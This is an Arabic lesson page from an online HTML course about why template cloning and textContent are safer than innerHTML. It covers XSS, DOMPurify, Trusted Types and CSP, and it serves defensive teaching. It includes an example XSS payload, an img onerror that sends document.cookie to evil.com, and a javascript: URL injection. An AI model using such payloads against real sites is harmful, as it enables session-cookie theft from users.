القوالب في مقابل innerHTML من منظور الأمان
فهم سبب أمان القوالب مقارنةً بتعيين innerHTML
القوالب في مقابل innerHTML من منظور الأمان درس مجاني في HTML Academy على CoddyKit. هذا هو الدرس 4 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في HTML Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة HTML Academy 4 دروس في المجموع.
خطر الحقن عبر innerHTML
يحلّل ضبط el.innerHTML = userInput السلسلة النصية باعتبارها HTML. إذا احتوت userInput على <script> أو معالجات أحداث مثل onerror، فسينفذها المتصفح، مما ينشئ ثغرة Cross-Site Scripting (XSS).
مثال على XSS عبر innerHTML
يرسل مهاجم اسم مستخدم: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. إذا عُرض هذا باستخدام innerHTML، فسيُنفَّذ onerror ويُسرِّب ملف تعريف ارتباط الجلسة. وهكذا يتحول محتوى النص إلى شفرة قابلة للتنفيذ.
textContent آمن
يتعامل el.textContent = userInput مع السلسلة النصية كنص عادي — فلا يحدث تحليل HTML ولا تنفيذ للبرامج النصية. ويجري المتصفح تلقائيًا تحويل < و> إلى تمثيل آمن داخل عقد النص. استخدم دائمًا textContent للقيم التي يزوّد بها المستخدم.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;يتجنب عنصر template تحليل السلاسل النصية
عند استخدام template.cloneNode(true)، تأتي البنية من قالب HTML سبق تحليله، لا من سلسلة يزوّد بها المستخدم. ويؤدي ضبط القيم عبر textContent على العقد المستنسخة إلى إبقاء بيانات المستخدم داخل عقد نصية، وليس داخل HTML محلل. وبهذا تُفصل البنية عن البيانات.
التنقية عند الحاجة إلى innerHTML
إذا كان تنسيق HTML الذي يقدمه المستخدم مطلوبًا، مثل النص المنسق، فنقِّ المحتوى قبل ضبط innerHTML. تُعد DOMPurify المكتبة القياسية لذلك: el.innerHTML = DOMPurify.sanitize(richHtml). فهي تزيل الوسوم والسمات الخطرة مع الحفاظ على التنسيق الآمن.
خطر insertAdjacentHTML
تقوم insertAdjacentHTML("beforeend", html) أيضًا بتحليل سلاسل HTML، ولذلك تحمل خطر XSS نفسه الموجود في innerHTML. طبّق قواعد التنقية نفسها. والبديل الأكثر أمانًا هو إنشاء العناصر باستخدام createElement، وضبط textContent لها، ثم استخدام appendChild.
أمان setAttribute
قد يؤدي ضبط السمات باستخدام بيانات المستخدم إلى حدوث حقن: إن استخدام el.setAttribute("href", userUrl) عندما تكون userUrl هي javascript:alert(1) ينشئ ثغرة XSS. تحقّق من مخططات عناوين URL، ولا تسمح إلا بـ http: وhttps: وmailto: قبل ضبط سمات href أو src.
التلاعب بعناصر DOM
التلاعب بعناصر DOM هو هجوم تتسبب فيه عناصر النماذج المسماة، مثل id="getElementById"، في تجاوز متغيرات JavaScript العامة. احرص دائمًا على الوصول إلى العناصر من خلال document.getElementById() بدلًا من خصائص window العامة. كما تساعد Content Security Policy في الحد من هجمات التلاعب بعناصر DOM.
سياسة Trusted Types
تتطلب Trusted Types، في Chrome والمطبقة عبر CSP، أن تتلقى جميع نقاط الإدخال مثل innerHTML وinsertAdjacentHTML سلاسل نصية مغلّفة بسياسة. ولا يمكن تعيين السلاسل النصية الخام، بل القيم التي أنشأتها سياسة TrustedTypes معلنة فقط. ويمنع ذلك تجاوز التنقية عرضيًا.
أمان DocumentFragment
يُعد إنشاء العناصر باستخدام DOM API، مثل createElement وcreateTextNode، ومعالجتها داخل DocumentFragment آمنًا بطبيعته ضد XSS، إذ يُعامل النص دائمًا كنص ولا يُحلل باعتباره HTML. وتُعد DocumentFragments الطريقة الأكثر أمانًا لبناء واجهات مستخدم ديناميكية معقدة.
Content Security Policy
توفّر CSP صارمة، من دون unsafe-inline وباستخدام برامج نصية تعتمد على nonce، طبقة دفاع إضافية ضد XSS. حتى إذا حقن مهاجم HTML، تمنع CSP البرامج النصية المحقونة من التنفيذ. لكنها لا تلغي الحاجة إلى التنقية، فهي شبكة أمان وليست وسيلة الدفاع الأساسية.
اختبار المعرفة
لماذا يُعد textContent أكثر أمانًا من innerHTML عند عرض البيانات التي يزوّد بها المستخدم؟
الملخص
تحلل innerHTML وواجهات API المرتبطة بها سلاسل HTML، مما ينشئ ثغرات XSS عند إدراج بيانات المستخدم من دون تنقية. ويوفر استخدام textContent، واستنساخ القوالب مع تعبئة textContent، وDOMPurify للنص المنسق، وContent Security Policy دفاعًا متعدد الطبقات ضد هجمات حقن HTML.
الأسئلة الشائعة
هل درس «القوالب في مقابل innerHTML من منظور الأمان» مجاني؟
نعم — نص درس «القوالب في مقابل innerHTML من منظور الأمان» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة HTML Academy، انتقل إلى CoddyKit PRO. تتضمن دورة HTML Academy 4 دروس في المجموع.
ماذا ستتعلم في «القوالب في مقابل innerHTML من منظور الأمان»؟
فهم سبب أمان القوالب مقارنةً بتعيين innerHTML تتمرن على HTML Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.
هل أحتاج إلى خبرة سابقة لأبدأ HTML Academy؟
لا تُشترط خبرة سابقة. HTML Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 4 من أصل 4.
كم من الوقت يستغرق درس «القوالب في مقابل innerHTML من منظور الأمان»؟
معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.
هل يمكنني كتابة وتشغيل أكواد في درس HTML Academy هذا؟
نعم. كل درس في HTML Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.
جميع الدروس في هذه الدورة
- عنصر template: محتوى غير نشط
- استنساخ القوالب باستخدام cloneNode
- استخدام template في العرض باستخدام JavaScript
- القوالب في مقابل innerHTML من منظور الأمان